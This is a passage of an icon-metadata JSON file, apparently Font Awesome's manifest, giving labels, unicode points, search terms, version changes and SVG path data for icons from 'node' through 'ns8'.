        "height": 512,
        "path": "M246.6 299.29c15.57 0 27.15 11.46 27.15 27s-11.62 27-27.15 27c-15.7 0-27.15-11.57-27.15-27s11.55-27 27.15-27zM113 326.25c0-15.61 11.68-27 27.15-27s27.15 11.46 27.15 27-11.47 27-27.15 27c-15.44 0-27.15-11.31-27.15-27M191.76 159C157 159 89.45 178.77 59.25 227L14 0v335.48C14 433.13 93.61 512 191.76 512s177.76-78.95 177.76-176.52S290.13 159 191.76 159zm0 308.12c-73.27 0-132.51-58.9-132.51-131.59s59.24-131.59 132.51-131.59 132.51 58.86 132.51 131.54S265 467.07 191.76 467.07z"
      }
    },
    "free": ["brands"]
  },
  "node": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f419",
    "label": "Node.js",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M316.3 452c-2.1 0-4.2-.6-6.1-1.6L291 439c-2.9-1.6-1.5-2.2-.5-2.5 3.8-1.3 4.6-1.6 8.7-4 .4-.2 1-.1 1.4.1l14.8 8.8c.5.3 1.3.3 1.8 0L375 408c.5-.3.9-.9.9-1.6v-66.7c0-.7-.3-1.3-.9-1.6l-57.8-33.3c-.5-.3-1.2-.3-1.8 0l-57.8 33.3c-.6.3-.9 1-.9 1.6v66.7c0 .6.4 1.2.9 1.5l15.8 9.1c8.6 4.3 13.9-.8 13.9-5.8v-65.9c0-.9.7-1.7 1.7-1.7h7.3c.9 0 1.7.7 1.7 1.7v65.9c0 11.5-6.2 18-17.1 18-3.3 0-6 0-13.3-3.6l-15.2-8.7c-3.7-2.2-6.1-6.2-6.1-10.5v-66.7c0-4.3 2.3-8.4 6.1-10.5l57.8-33.4c3.7-2.1 8.5-2.1 12.1 0l57.8 33.4c3.7 2.2 6.1 6.2 6.1 10.5v66.7c0 4.3-2.3 8.4-6.1 10.5l-57.8 33.4c-1.7 1.1-3.8 1.7-6 1.7zm46.7-65.8c0-12.5-8.4-15.8-26.2-18.2-18-2.4-19.8-3.6-19.8-7.8 0-3.5 1.5-8.1 14.8-8.1 11.9 0 16.3 2.6 18.1 10.6.2.8.8 1.3 1.6 1.3h7.5c.5 0 .9-.2 1.2-.5.3-.4.5-.8.4-1.3-1.2-13.8-10.3-20.2-28.8-20.2-16.5 0-26.3 7-26.3 18.6 0 12.7 9.8 16.1 25.6 17.7 18.9 1.9 20.4 4.6 20.4 8.3 0 6.5-5.2 9.2-17.4 9.2-15.3 0-18.7-3.8-19.8-11.4-.1-.8-.8-1.4-1.7-1.4h-7.5c-.9 0-1.7.7-1.7 1.7 0 9.7 5.3 21.3 30.6 21.3 18.5 0 29-7.2 29-19.8zm54.5-50.1c0 6.1-5 11.1-11.1 11.1s-11.1-5-11.1-11.1c0-6.3 5.2-11.1 11.1-11.1 6-.1 11.1 4.8 11.1 11.1zm-1.8 0c0-5.2-4.2-9.3-9.4-9.3-5.1 0-9.3 4.1-9.3 9.3 0 5.2 4.2 9.4 9.3 9.4 5.2-.1 9.4-4.3 9.4-9.4zm-4.5 6.2h-2.6c-.1-.6-.5-3.8-.5-3.9-.2-.7-.4-1.1-1.3-1.1h-2.2v5h-2.4v-12.5h4.3c1.5 0 4.4 0 4.4 3.3 0 2.3-1.5 2.8-2.4 3.1 1.7.1 1.8 1.2 2.1 2.8.1 1 .3 2.7.6 3.3zm-2.8-8.8c0-1.7-1.2-1.7-1.8-1.7h-2v3.5h1.9c1.6 0 1.9-1.1 1.9-1.8zM137.3 191c0-2.7-1.4-5.1-3.7-6.4l-61.3-35.3c-1-.6-2.2-.9-3.4-1h-.6c-1.2 0-2.3.4-3.4 1L3.7 184.6C1.4 185.9 0 188.4 0 191l.1 95c0 1.3.7 2.5 1.8 3.2 1.1.7 2.5.7 3.7 0L42 268.3c2.3-1.4 3.7-3.8 3.7-6.4v-44.4c0-2.6 1.4-5.1 3.7-6.4l15.5-8.9c1.2-.7 2.4-1 3.7-1 1.3 0 2.6.3 3.7 1l15.5 8.9c2.3 1.3 3.7 3.8 3.7 6.4v44.4c0 2.6 1.4 5.1 3.7 6.4l36.4 20.9c1.1.7 2.6.7 3.7 0 1.1-.6 1.8-1.9 1.8-3.2l.2-95zM472.5 87.3v176.4c0 2.6-1.4 5.1-3.7 6.4l-61.3 35.4c-2.3 1.3-5.1 1.3-7.4 0l-61.3-35.4c-2.3-1.3-3.7-3.8-3.7-6.4v-70.8c0-2.6 1.4-5.1 3.7-6.4l61.3-35.4c2.3-1.3 5.1-1.3 7.4 0l15.3 8.8c1.7 1 3.9-.3 3.9-2.2v-94c0-2.8 3-4.6 5.5-3.2l36.5 20.4c2.3 1.2 3.8 3.7 3.8 6.4zm-46 128.9c0-.7-.4-1.3-.9-1.6l-21-12.2c-.6-.3-1.3-.3-1.9 0l-21 12.2c-.6.3-.9.9-.9 1.6v24.3c0 .7.4 1.3.9 1.6l21 12.1c.6.3 1.3.3 1.8 0l21-12.1c.6-.3.9-.9.9-1.6v-24.3zm209.8-.7c2.3-1.3 3.7-3.8 3.7-6.4V192c0-2.6-1.4-5.1-3.7-6.4l-60.9-35.4c-2.3-1.3-5.1-1.3-7.4 0l-61.3 35.4c-2.3 1.3-3.7 3.8-3.7 6.4v70.8c0 2.7 1.4 5.1 3.7 6.4l60.9 34.7c2.2 1.3 5 1.3 7.3 0l36.8-20.5c2.5-1.4 2.5-5 0-6.4L550 241.6c-1.2-.7-1.9-1.9-1.9-3.2v-22.2c0-1.3.7-2.5 1.9-3.2l19.2-11.1c1.1-.7 2.6-.7 3.7 0l19.2 11.1c1.1.7 1.9 1.9 1.9 3.2v17.4c0 2.8 3.1 4.6 5.6 3.2l36.7-21.3zM559 219c-.4.3-.7.7-.7 1.2v13.6c0 .5.3 1 .7 1.2l11.8 6.8c.4.3 1 .3 1.4 0L584 235c.4-.3.7-.7.7-1.2v-13.6c0-.5-.3-1-.7-1.2l-11.8-6.8c-.4-.3-1-.3-1.4 0L559 219zm-254.2 43.5v-70.4c0-2.6-1.6-5.1-3.9-6.4l-61.1-35.2c-2.1-1.2-5-1.4-7.4 0l-61.1 35.2c-2.3 1.3-3.9 3.7-3.9 6.4v70.4c0 2.8 1.9 5.2 4 6.4l61.2 35.2c2.4 1.4 5.2 1.3 7.4 0l61-35.2c1.8-1 3.1-2.7 3.6-4.7.1-.5.2-1.1.2-1.7zm-74.3-124.9l-.8.5h1.1l-.3-.5zm76.2 130.2l-.4-.7v.9l.4-.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M316.3 452c-2.1 0-4.2-.6-6.1-1.6L291 439c-2.9-1.6-1.5-2.2-.5-2.5 3.8-1.3 4.6-1.6 8.7-4 .4-.2 1-.1 1.4.1l14.8 8.8c.5.3 1.3.3 1.8 0L375 408c.5-.3.9-.9.9-1.6v-66.7c0-.7-.3-1.3-.9-1.6l-57.8-33.3c-.5-.3-1.2-.3-1.8 0l-57.8 33.3c-.6.3-.9 1-.9 1.6v66.7c0 .6.4 1.2.9 1.5l15.8 9.1c8.6 4.3 13.9-.8 13.9-5.8v-65.9c0-.9.7-1.7 1.7-1.7h7.3c.9 0 1.7.7 1.7 1.7v65.9c0 11.5-6.2 18-17.1 18-3.3 0-6 0-13.3-3.6l-15.2-8.7c-3.7-2.2-6.1-6.2-6.1-10.5v-66.7c0-4.3 2.3-8.4 6.1-10.5l57.8-33.4c3.7-2.1 8.5-2.1 12.1 0l57.8 33.4c3.7 2.2 6.1 6.2 6.1 10.5v66.7c0 4.3-2.3 8.4-6.1 10.5l-57.8 33.4c-1.7 1.1-3.8 1.7-6 1.7zm46.7-65.8c0-12.5-8.4-15.8-26.2-18.2-18-2.4-19.8-3.6-19.8-7.8 0-3.5 1.5-8.1 14.8-8.1 11.9 0 16.3 2.6 18.1 10.6.2.8.8 1.3 1.6 1.3h7.5c.5 0 .9-.2 1.2-.5.3-.4.5-.8.4-1.3-1.2-13.8-10.3-20.2-28.8-20.2-16.5 0-26.3 7-26.3 18.6 0 12.7 9.8 16.1 25.6 17.7 18.9 1.9 20.4 4.6 20.4 8.3 0 6.5-5.2 9.2-17.4 9.2-15.3 0-18.7-3.8-19.8-11.4-.1-.8-.8-1.4-1.7-1.4h-7.5c-.9 0-1.7.7-1.7 1.7 0 9.7 5.3 21.3 30.6 21.3 18.5 0 29-7.2 29-19.8zm54.5-50.1c0 6.1-5 11.1-11.1 11.1s-11.1-5-11.1-11.1c0-6.3 5.2-11.1 11.1-11.1 6-.1 11.1 4.8 11.1 11.1zm-1.8 0c0-5.2-4.2-9.3-9.4-9.3-5.1 0-9.3 4.1-9.3 9.3 0 5.2 4.2 9.4 9.3 9.4 5.2-.1 9.4-4.3 9.4-9.4zm-4.5 6.2h-2.6c-.1-.6-.5-3.8-.5-3.9-.2-.7-.4-1.1-1.3-1.1h-2.2v5h-2.4v-12.5h4.3c1.5 0 4.4 0 4.4 3.3 0 2.3-1.5 2.8-2.4 3.1 1.7.1 1.8 1.2 2.1 2.8.1 1 .3 2.7.6 3.3zm-2.8-8.8c0-1.7-1.2-1.7-1.8-1.7h-2v3.5h1.9c1.6 0 1.9-1.1 1.9-1.8zM137.3 191c0-2.7-1.4-5.1-3.7-6.4l-61.3-35.3c-1-.6-2.2-.9-3.4-1h-.6c-1.2 0-2.3.4-3.4 1L3.7 184.6C1.4 185.9 0 188.4 0 191l.1 95c0 1.3.7 2.5 1.8 3.2 1.1.7 2.5.7 3.7 0L42 268.3c2.3-1.4 3.7-3.8 3.7-6.4v-44.4c0-2.6 1.4-5.1 3.7-6.4l15.5-8.9c1.2-.7 2.4-1 3.7-1 1.3 0 2.6.3 3.7 1l15.5 8.9c2.3 1.3 3.7 3.8 3.7 6.4v44.4c0 2.6 1.4 5.1 3.7 6.4l36.4 20.9c1.1.7 2.6.7 3.7 0 1.1-.6 1.8-1.9 1.8-3.2l.2-95zM472.5 87.3v176.4c0 2.6-1.4 5.1-3.7 6.4l-61.3 35.4c-2.3 1.3-5.1 1.3-7.4 0l-61.3-35.4c-2.3-1.3-3.7-3.8-3.7-6.4v-70.8c0-2.6 1.4-5.1 3.7-6.4l61.3-35.4c2.3-1.3 5.1-1.3 7.4 0l15.3 8.8c1.7 1 3.9-.3 3.9-2.2v-94c0-2.8 3-4.6 5.5-3.2l36.5 20.4c2.3 1.2 3.8 3.7 3.8 6.4zm-46 128.9c0-.7-.4-1.3-.9-1.6l-21-12.2c-.6-.3-1.3-.3-1.9 0l-21 12.2c-.6.3-.9.9-.9 1.6v24.3c0 .7.4 1.3.9 1.6l21 12.1c.6.3 1.3.3 1.8 0l21-12.1c.6-.3.9-.9.9-1.6v-24.3zm209.8-.7c2.3-1.3 3.7-3.8 3.7-6.4V192c0-2.6-1.4-5.1-3.7-6.4l-60.9-35.4c-2.3-1.3-5.1-1.3-7.4 0l-61.3 35.4c-2.3 1.3-3.7 3.8-3.7 6.4v70.8c0 2.7 1.4 5.1 3.7 6.4l60.9 34.7c2.2 1.3 5 1.3 7.3 0l36.8-20.5c2.5-1.4 2.5-5 0-6.4L550 241.6c-1.2-.7-1.9-1.9-1.9-3.2v-22.2c0-1.3.7-2.5 1.9-3.2l19.2-11.1c1.1-.7 2.6-.7 3.7 0l19.2 11.1c1.1.7 1.9 1.9 1.9 3.2v17.4c0 2.8 3.1 4.6 5.6 3.2l36.7-21.3zM559 219c-.4.3-.7.7-.7 1.2v13.6c0 .5.3 1 .7 1.2l11.8 6.8c.4.3 1 .3 1.4 0L584 235c.4-.3.7-.7.7-1.2v-13.6c0-.5-.3-1-.7-1.2l-11.8-6.8c-.4-.3-1-.3-1.4 0L559 219zm-254.2 43.5v-70.4c0-2.6-1.6-5.1-3.9-6.4l-61.1-35.2c-2.1-1.2-5-1.4-7.4 0l-61.1 35.2c-2.3 1.3-3.9 3.7-3.9 6.4v70.4c0 2.8 1.9 5.2 4 6.4l61.2 35.2c2.4 1.4 5.2 1.3 7.4 0l61-35.2c1.8-1 3.1-2.7 3.6-4.7.1-.5.2-1.1.2-1.7zm-74.3-124.9l-.8.5h1.1l-.3-.5zm76.2 130.2l-.4-.7v.9l.4-.2z"
      }
    },
    "free": ["brands"]
  },
  "node-js": {
    "changes": ["5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3d3",
    "label": "Node.js JS",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 508c-6.7 0-13.5-1.8-19.4-5.2l-61.7-36.5c-9.2-5.2-4.7-7-1.7-8 12.3-4.3 14.8-5.2 27.9-12.7 1.4-.8 3.2-.5 4.6.4l47.4 28.1c1.7 1 4.1 1 5.7 0l184.7-106.6c1.7-1 2.8-3 2.8-5V149.3c0-2.1-1.1-4-2.9-5.1L226.8 37.7c-1.7-1-4-1-5.7 0L36.6 144.3c-1.8 1-2.9 3-2.9 5.1v213.1c0 2 1.1 4 2.9 4.9l50.6 29.2c27.5 13.7 44.3-2.4 44.3-18.7V167.5c0-3 2.4-5.3 5.4-5.3h23.4c2.9 0 5.4 2.3 5.4 5.3V378c0 36.6-20 57.6-54.7 57.6-10.7 0-19.1 0-42.5-11.6l-48.4-27.9C8.1 389.2.7 376.3.7 362.4V149.3c0-13.8 7.4-26.8 19.4-33.7L204.6 9c11.7-6.6 27.2-6.6 38.8 0l184.7 106.7c12 6.9 19.4 19.8 19.4 33.7v213.1c0 13.8-7.4 26.7-19.4 33.7L243.4 502.8c-5.9 3.4-12.6 5.2-19.4 5.2zm149.1-210.1c0-39.9-27-50.5-83.7-58-57.4-7.6-63.2-11.5-63.2-24.9 0-11.1 4.9-25.9 47.4-25.9 37.9 0 51.9 8.2 57.7 33.8.5 2.4 2.7 4.2 5.2 4.2h24c1.5 0 2.9-.6 3.9-1.7s1.5-2.6 1.4-4.1c-3.7-44.1-33-64.6-92.2-64.6-52.7 0-84.1 22.2-84.1 59.5 0 40.4 31.3 51.6 81.8 56.6 60.5 5.9 65.2 14.8 65.2 26.7 0 20.6-16.6 29.4-55.5 29.4-48.9 0-59.6-12.3-63.2-36.6-.4-2.6-2.6-4.5-5.3-4.5h-23.9c-3 0-5.3 2.4-5.3 5.3 0 31.1 16.9 68.2 97.8 68.2 58.4-.1 92-23.2 92-63.4z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 508c-6.7 0-13.5-1.8-19.4-5.2l-61.7-36.5c-9.2-5.2-4.7-7-1.7-8 12.3-4.3 14.8-5.2 27.9-12.7 1.4-.8 3.2-.5 4.6.4l47.4 28.1c1.7 1 4.1 1 5.7 0l184.7-106.6c1.7-1 2.8-3 2.8-5V149.3c0-2.1-1.1-4-2.9-5.1L226.8 37.7c-1.7-1-4-1-5.7 0L36.6 144.3c-1.8 1-2.9 3-2.9 5.1v213.1c0 2 1.1 4 2.9 4.9l50.6 29.2c27.5 13.7 44.3-2.4 44.3-18.7V167.5c0-3 2.4-5.3 5.4-5.3h23.4c2.9 0 5.4 2.3 5.4 5.3V378c0 36.6-20 57.6-54.7 57.6-10.7 0-19.1 0-42.5-11.6l-48.4-27.9C8.1 389.2.7 376.3.7 362.4V149.3c0-13.8 7.4-26.8 19.4-33.7L204.6 9c11.7-6.6 27.2-6.6 38.8 0l184.7 106.7c12 6.9 19.4 19.8 19.4 33.7v213.1c0 13.8-7.4 26.7-19.4 33.7L243.4 502.8c-5.9 3.4-12.6 5.2-19.4 5.2zm149.1-210.1c0-39.9-27-50.5-83.7-58-57.4-7.6-63.2-11.5-63.2-24.9 0-11.1 4.9-25.9 47.4-25.9 37.9 0 51.9 8.2 57.7 33.8.5 2.4 2.7 4.2 5.2 4.2h24c1.5 0 2.9-.6 3.9-1.7s1.5-2.6 1.4-4.1c-3.7-44.1-33-64.6-92.2-64.6-52.7 0-84.1 22.2-84.1 59.5 0 40.4 31.3 51.6 81.8 56.6 60.5 5.9 65.2 14.8 65.2 26.7 0 20.6-16.6 29.4-55.5 29.4-48.9 0-59.6-12.3-63.2-36.6-.4-2.6-2.6-4.5-5.3-4.5h-23.9c-3 0-5.3 2.4-5.3 5.3 0 31.1 16.9 68.2 97.8 68.2 58.4-.1 92-23.2 92-63.4z"
      }
    },
    "free": ["brands"]
  },
  "not-equal": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f53e"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arithmetic", "compare", "math"]
    },
    "styles": ["solid"],
    "unicode": "f53e",
    "label": "Not Equal",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M369.8 37.4c14.7 9.8 18.7 29.7 8.9 44.4L337.1 144H400c17.7 0 32 14.3 32 32s-14.3 32-32 32H294.5l-64 96H400c17.7 0 32 14.3 32 32s-14.3 32-32 32H187.8l-65.2 97.7c-9.8 14.7-29.7 18.7-44.4 8.9s-18.7-29.7-8.9-44.4L110.9 368H48c-17.7 0-32-14.3-32-32s14.3-32 32-32H153.5l64-96H48c-17.7 0-32-14.3-32-32s14.3-32 32-32H260.2l65.2-97.7c9.8-14.7 29.7-18.7 44.4-8.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M369.8 37.4c14.7 9.8 18.7 29.7 8.9 44.4L337.1 144H400c17.7 0 32 14.3 32 32s-14.3 32-32 32H294.5l-64 96H400c17.7 0 32 14.3 32 32s-14.3 32-32 32H187.8l-65.2 97.7c-9.8 14.7-29.7 18.7-44.4 8.9s-18.7-29.7-8.9-44.4L110.9 368H48c-17.7 0-32-14.3-32-32s14.3-32 32-32H153.5l64-96H48c-17.7 0-32-14.3-32-32s14.3-32 32-32H260.2l65.2-97.7c9.8-14.7 29.7-18.7 44.4-8.9z"
      }
    },
    "free": ["solid"]
  },
  "notdef": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["close", "missing"]
    },
    "styles": ["solid"],
    "unicode": "e1fe",
    "label": "Notdef",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 390.3L153.5 256 64 121.7V390.3zM102.5 448H281.5L192 313.7 102.5 448zm128-192L320 390.3V121.7L230.5 256zM281.5 64H102.5L192 198.3 281.5 64zM0 48C0 21.5 21.5 0 48 0H336c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V48z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 390.3L153.5 256 64 121.7V390.3zM102.5 448H281.5L192 313.7 102.5 448zm128-192L320 390.3V121.7L230.5 256zM281.5 64H102.5L192 198.3 281.5 64zM0 48C0 21.5 21.5 0 48 0H336c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V48z"
      }
    },
    "free": ["solid"]
  },
  "note-sticky": {
    "aliases": {
      "names": ["sticky-note"],
      "unicodes": {
        "composite": ["f24a"],
        "secondary": ["10f249"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["message", "note", "paper", "reminder", "sticker"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f249",
    "label": "Note Sticky",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H288V368c0-26.5 21.5-48 48-48H448V96c0-35.3-28.7-64-64-64H64zM448 352H402.7 336c-8.8 0-16 7.2-16 16v66.7V480l32-32 64-64 32-32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H288V368c0-26.5 21.5-48 48-48H448V96c0-35.3-28.7-64-64-64H64zM448 352H402.7 336c-8.8 0-16 7.2-16 16v66.7V480l32-32 64-64 32-32z"
      },
      "regular": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H288V352c0-17.7 14.3-32 32-32h80V96c0-8.8-7.2-16-16-16H64zM288 480H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V320v5.5c0 17-6.7 33.3-18.7 45.3l-90.5 90.5c-12 12-28.3 18.7-45.3 18.7H288z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H288V352c0-17.7 14.3-32 32-32h80V96c0-8.8-7.2-16-16-16H64zM288 480H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V320v5.5c0 17-6.7 33.3-18.7 45.3l-90.5 90.5c-12 12-28.3 18.7-45.3 18.7H288z"
      }
    },
    "free": ["regular", "solid"]
  },
  "notes-medical": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f481"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["clipboard", "doctor", "ehr", "health", "history", "records"]
    },
    "styles": ["solid"],
    "unicode": "f481",
    "label": "Notes Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 352V96c0-35.3 28.7-64 64-64H416c35.3 0 64 28.7 64 64V293.5c0 17-6.7 33.3-18.7 45.3l-58.5 58.5c-12 12-28.3 18.7-45.3 18.7H160c-35.3 0-64-28.7-64-64zM272 128c-8.8 0-16 7.2-16 16v48H208c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V256h48c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H320V144c0-8.8-7.2-16-16-16H272zm24 336c13.3 0 24 10.7 24 24s-10.7 24-24 24H136C60.9 512 0 451.1 0 376V152c0-13.3 10.7-24 24-24s24 10.7 24 24l0 224c0 48.6 39.4 88 88 88H296z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M96 352V96c0-35.3 28.7-64 64-64H416c35.3 0 64 28.7 64 64V293.5c0 17-6.7 33.3-18.7 45.3l-58.5 58.5c-12 12-28.3 18.7-45.3 18.7H160c-35.3 0-64-28.7-64-64zM272 128c-8.8 0-16 7.2-16 16v48H208c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V256h48c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H320V144c0-8.8-7.2-16-16-16H272zm24 336c13.3 0 24 10.7 24 24s-10.7 24-24 24H136C60.9 512 0 451.1 0 376V152c0-13.3 10.7-24 24-24s24 10.7 24 24l0 224c0 48.6 39.4 88 88 88H296z"
      }
    },
    "free": ["solid"]
  },
  "npm": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3d4",
    "label": "npm",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 288h-32v-64h32v64zm288-128v192H288v32H160v-32H0V160h576zm-416 32H32v128h64v-96h32v96h32V192zm160 0H192v160h64v-32h64V192zm224 0H352v128h64v-96h32v96h32v-96h32v96h32V192z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 288h-32v-64h32v64zm288-128v192H288v32H160v-32H0V160h576zm-416 32H32v128h64v-96h32v96h32V192zm160 0H192v160h64v-32h64V192zm224 0H352v128h64v-96h32v96h32v-96h32v96h32V192z"
      }
    },
    "free": ["brands"]
  },
  "ns8": {
    "changes": ["5.0.0", "5.15.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3d5",
    "label": "NS8",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M104.324,269.172h26.067V242.994H104.324Zm52.466-26.178-.055-26.178v-.941a39.325,39.325,0,0,0-78.644.941v.166h26.4v-.166a12.98,12.98,0,0,1,25.956,0v26.178Zm52.356,25.846a91.1,91.1,0,0,1-91.1,91.1h-.609a91.1,91.1,0,0,1-91.1-91.1H0v.166A117.33,117.33,0,0,0,117.44,386.28h.775A117.331,117.331,0,0,0,235.49,268.84V242.828H209.146Zm-157.233,0a65.362,65.362,0,0,0,130.723,0H156.292a39.023,39.023,0,0,1-78.035,0V242.883H51.968v-26.62A65.42,65.42,0,0,1,182.8,217.48v25.293h26.344V217.48a91.761,91.761,0,0,0-183.522,0v25.4H51.913Zm418.4-71.173c13.67,0,24.573,6.642,30.052,18.264l.719,1.549,23.245-11.511-.609-1.439c-8.025-19.26-28.5-31.27-53.407-31.27-23.134,0-43.611,11.4-50.972,28.447-.123,26.876-.158,23.9,0,24.85,4.7,11.013,14.555,19.37,28.668,24.241a102.033,102.033,0,0,0,19.813,3.984c5.479.72,10.626,1.384,15.829,3.1,6.364,2.1,10.46,5.257,12.84,9.851v9.851c-3.708,7.527-13.781,12.342-25.791,12.342-14.334,0-25.956-6.918-31.933-19.039l-.72-1.494L415.026,280.9l.553,1.439c7.915,19.426,29.609,32.044,55.289,32.044,23.632,0,44.608-11.4,52.3-28.447l.166-25.9-.166-.664c-4.87-11.014-15.219-19.647-28.944-24.241-7.693-2.712-14.335-3.6-20.7-4.427a83.777,83.777,0,0,1-14.832-2.878c-6.31-1.937-10.4-5.092-12.619-9.63v-8.412C449.45,202.427,458.969,197.667,470.315,197.667ZM287.568,311.344h26.067v-68.4H287.568Zm352.266-53.3c-2.933-6.254-8.3-12.01-15.441-16.714A37.99,37.99,0,0,0,637.4,226l.166-25.347-.166-.664C630.038,184,610.667,173.26,589.25,173.26S548.461,184,541.1,199.992l-.166,25.347.166.664a39.643,39.643,0,0,0,13.006,15.331c-7.2,4.7-12.508,10.46-15.441,16.714l-.166,28.889.166.72c7.582,15.994,27.893,26.731,50.585,26.731s43.057-10.737,50.584-26.731l.166-28.89Zm-73.22-50.806c3.6-6.31,12.563-10.516,22.58-10.516s19.038,4.206,22.636,10.516v13.725c-3.542,6.2-12.563,10.349-22.636,10.349s-19.094-4.15-22.58-10.349Zm47.319,72.169c-3.764,6.641-13.338,10.9-24.683,10.9-11.125,0-20.976-4.372-24.684-10.9V263.25c3.708-6.309,13.5-10.515,24.684-10.515,11.345,0,20.919,4.15,24.683,10.515ZM376.4,265.962l-59.827-89.713h-29v40.623h26.51v.387l62.539,94.085H402.3V176.249H376.4Z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M104.324,269.172h26.067V242.994H104.324Zm52.466-26.178-.055-26.178v-.941a39.325,39.325,0,0,0-78.644.941v.166h26.4v-.166a12.98,12.98,0,0,1,25.956,0v26.178Zm52.356,25.846a91.1,91.1,0,0,1-91.1,91.1h-.609a91.1,91.1,0,0,1-91.1-91.1H0v.166A117.33,117.33,0,0,0,117.44,386.28h.775A117.331,117.331,0,0,0,235.49,268.84V242.828H209.146Zm-157.233,0a65.362,65.362,0,0,0,130.723,0H156.292a39.023,39.023,0,0,1-78.035,0V242.883H51.968v-26.62A65.42,65.42,0,0,1,182.8,217.48v25.293h26.344V217.48a91.761,91.761,0,0,0-183.522,0v25.4H51.913Zm418.4-71.173c13.67,0,24.573,6.642,30.052,18.264l.719,1.549,23.245-11.511-.609-1.439c-8.025-19.26-28.5-31.27-53.407-31.27-23.134,0-43.611,11.4-50.972,28.447-.123,26.876-.158,23.9,0,24.85,4.7,11.013,14.555,19.37,28.668,24.241a102.033,102.033,0,0,0,19.813,3.984c5.479.72,10.626,1.384,15.829,3.1,6.364,2.1,10.46,5.257,12.84,9.851v9.851c-3.708,7.527-13.781,12.342-25.791,12.342-14.334,0-25.956-6.918-31.933-19.039l-.72-1.494L415.026,280.9l.553,1.439c7.915,19.426,29.609,32.044,55.289,32.044,23.632,0,44.608-11.4,52.3-28.447l.166-25.9-.166-.664c-4.87-11.014-15.219-19.647-28.944-24.241-7.693-2.712-14.335-3.6-20.7-4.427a83.777,83.777,0,0,1-14.832-2.878c-6.31-1.937-10.4-5.092-12.619-9.63v-8.412C449.45,202.427,458.969,197.667,470.315,197.667ZM287.568,311.344h26.067v-68.4H287.568Zm352.266-53.3c-2.933-6.254-8.